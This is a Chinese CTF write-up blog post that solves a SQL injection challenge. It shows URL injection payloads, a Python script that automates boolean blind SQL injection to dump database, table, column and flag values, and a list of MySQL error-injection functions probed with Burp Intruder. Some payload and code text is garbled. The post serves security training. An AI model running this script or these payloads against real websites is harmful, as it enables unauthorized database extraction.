

# 实验吧-简单的sql注入3 Writeup

原创

baynk 于 2019-07-29 03:15:43 发布 138 收藏 1

分类专栏: # 实验吧 Writeup 文章标签: 实验吧 CTF

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/u014029795/article/details/97621317>

版权

 让实验更简单! [实验吧 Writeup 专栏收录该内容](#)

21 篇文章 0 订阅

订阅专栏

继续继续

## 过程

1. 输入1, 然后发现只有一个hello。。。好吧, 肯定得盲注了, 先试试闭合吧, 果然还是单引号的, 但是居然有报错信息, 应该也可以使用报错注入吧。

```
http://ctf5.shiyanbar.com/web/index_3.php?id=1'
```

Enable Post data  Enable Referrer

**flag**

到底过滤了什么?

Submit Query

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1'" at line 1

2. 然后再尝试干掉单引号的时候意外发现#居然可以用了, 这真是省了不少事。。

```
http://ctf5.shiyanbar.com/web/index_3.php?id=1%23
```

Enable Post data  Enable Referrer

**flag**

到底过滤了什么?

Submit Query

Hello!

3. 想来想去还是使用报错注入, 盲注还是交给sqlmap来解决吧。

先来搞库名, 用的floor(), 结果来这么一出。

```
http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select * from (select concat_ws('^', database(), floor(rand(0)*2))\y count(*) from information_schema.tables group by y)) %23
```

http://ctf5.shiyanbar.com/web/index\_3.php?id=1 and (select from (select concat\_ws(database(),floor(rand() \* 2)/2,0000) from information\_schematables group by x/y) as

Enable Post data  Enable Referrer

flag

到底过滤了什么？

4. don't到底是个啥，又换了两种其他的报错，updatexml和extractvalue都不行，先上sqlmap试试，然后发现不调线程是真的慢，心有不甘，去百度继续找其他的报错语句，这时候也get了不少新姿势，比如用^代替and，但是我试了下根本不管用，哈哈。。当然重要的是获得了不少新的报错方法，已经记在小本本上了，同时也知道了应该如何去快速的探测是否被过滤，总结的时候写出来。
5. 又只能盲注了，先试布尔型的吧，先来查库的长度，`1' and length(database())>0%23`，OK，是可以正常回显的。

http://ctf5.shiyanbar.com/web/index\_3.php?id=1' and length(database())>0%23

Enable Post data  Enable Referrer

flag

到底过滤了什么？

Hello!

6. 又试过了ascii和substr都可以直接使用的，就不一一手工了，直接去写个py吧。

```
#coding:utf-8
#author: baynk
import requests
def length_two(url):
    min = 0
    max = 127
    while True:
        if (max-min)>1:
            mid = int((min+max)/2)
        else:
            mid = max
            break
        html = requests.get(url.format(mid))
        if "Hello!" in html.text:
            min = mid
        else:
            max = mid
    return mid
def name_two(length,url):
    name = ''
    for i in range(1,length+1):
        min = 0
        max = 127
        while True:
```

```

    if (max-min)>1:
        mid = int((min+max)/2)
    if (max - min) == 1:
        mid = max
        break
    html = requests.get(url.format(i,mid))
    if "Hello!" in html.text:
        min = mid
    else:
        max = mid
    name += chr(mid)
    return name
url = input("请输入url地址: ")
#http://ctf5.shiyanbar.com/web/index_3.php?id=1
db_length_payload=url+"' and length(database())>{%}23"
db_length=length_two(db_length_payload)
db_name_payload=url+"' and ascii(substr(database(),{%},1))>{%}23"
db_name=name_two(db_length,db_name_payload)
print(""*100+"\n"+"数据库长度为{%}, 值为:{}".format(db_length,db_name))
table_length_list_payload=url+"' and length((select group_concat(table_name) from information_schema.tables
where table_schema='"+db_name+"'))>{%}23"
table_length_list=length_two(table_length_list_payload)
table_name_list_payload=url+"' and ascii(substr((select group_concat(table_name) from information_schema.ta
bles where table_schema='"+db_name+"'),{%},1))>{%}23"
table_name_list=name_two(table_length_list,table_name_list_payload)
print(""*100+"\n"+"表名长度为{%}, 值为:{}".format(table_length_list,table_name_list))
table_name=input(''*100+'\n'+ '请输入要查询的表名: ')
column_length_list_payload=url+"' and length((select group_concat(column_name) from information_schema.colu
mns where table_schema='"+db_name+"' and table_name='"+table_name+"'))>{%}23"
column_length_list=length_two(column_length_list_payload)
column_name_list_payload=url+"' and ascii(substr((select group_concat(column_name) from information_schema.
columns where table_schema='"+db_name+"' and table_name='"+table_name+"'),{%},1))>{%}23"
column_name_list=name_two(column_length_list,column_name_list_payload)
print(""*100+"\n"+"列名长度为{%}, 值为:{}".format(column_length_list,column_name_list))
column_name=input(''*100+'\n'+ '请输入要查询的字段名: ')
column_value_length_payload = url+"' and length((select "+column_name+" from "+table_name+"))>{%}23"
column_value_length = length_two(column_value_length_payload)
column_value_payload = url+"' and ascii(substr((select "+column_name+" from "+table_name+"),{%},1))>{%}23"
column_value=name_two(column_value_length,column_value_payload)
print(""*100+"\n"+column_name+"的值为:"+column_value)

```

8. 运行结果，由于题目有问题，所以在显示字段的时候是有错误的。。。当然并不影响做题目，手动滑稽

```

D:\Programs\Pycharm for python\tools>python3 "GET Blind-db.py"
请输入url地址: http://ctf5.shiyanbar.com/web/index_3.php?id=1
*****
数据库长度为4, 值为:web1
*****
表名长度为10, 值为:flag, web_1
*****
请输入要查询的表名: flag
*****
列名长度为1, 值为□
*****
请输入要查询的字段名: flag
*****
flag的值为:flag{Y0u_@r3_50_dAmn_900d}

```

## 1. 总结

虽然我已经知道了报错注入已经不能用了，但是我还是来记录下如何快速探测吧。

十个常见的报错函数为

floor, extractvalue, updatexml, geometrycollection, multipoint, polygon, multipolygon, linestring, multilinestring, exp。

然后利用一个语句来完成探测即可，当然前提是这个函数可以使用，比如这个题目中length就可以使用的。

1. 最好的方法就是python写个脚本
2. 当然还可以用burpsuite来完成，把这十个函数名在intruder模块中替换就OK
3. 另外七种都没有被过滤，刚刚就这么巧，我之前就试了前三种，mdzz

1	floor	200	<input type="checkbox"/>	<input type="checkbox"/>	575
2	extractvalue	200	<input type="checkbox"/>	<input type="checkbox"/>	575
3	updatexml	200	<input type="checkbox"/>	<input type="checkbox"/>	575
4	geometrycollection	200	<input type="checkbox"/>	<input type="checkbox"/>	640
5	multipoint	200	<input type="checkbox"/>	<input type="checkbox"/>	640
6	polygon	200	<input type="checkbox"/>	<input type="checkbox"/>	640
7	multipolygon	200	<input type="checkbox"/>	<input type="checkbox"/>	640
8	linestring	200	<input type="checkbox"/>	<input type="checkbox"/>	640
9	multilinestring	200	<input type="checkbox"/>	<input type="checkbox"/>	640
10	exp	200	<input type="checkbox"/>	<input type="checkbox"/>	640

  

Request Response

Raw Headers Hex HTML Render

```
<form action="" method="get">
<input name="id" type="text"/>
<input type="submit" />
</form>

<font size="5">Hello!<br></font>
</div>
</center>
</body>
</html>
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)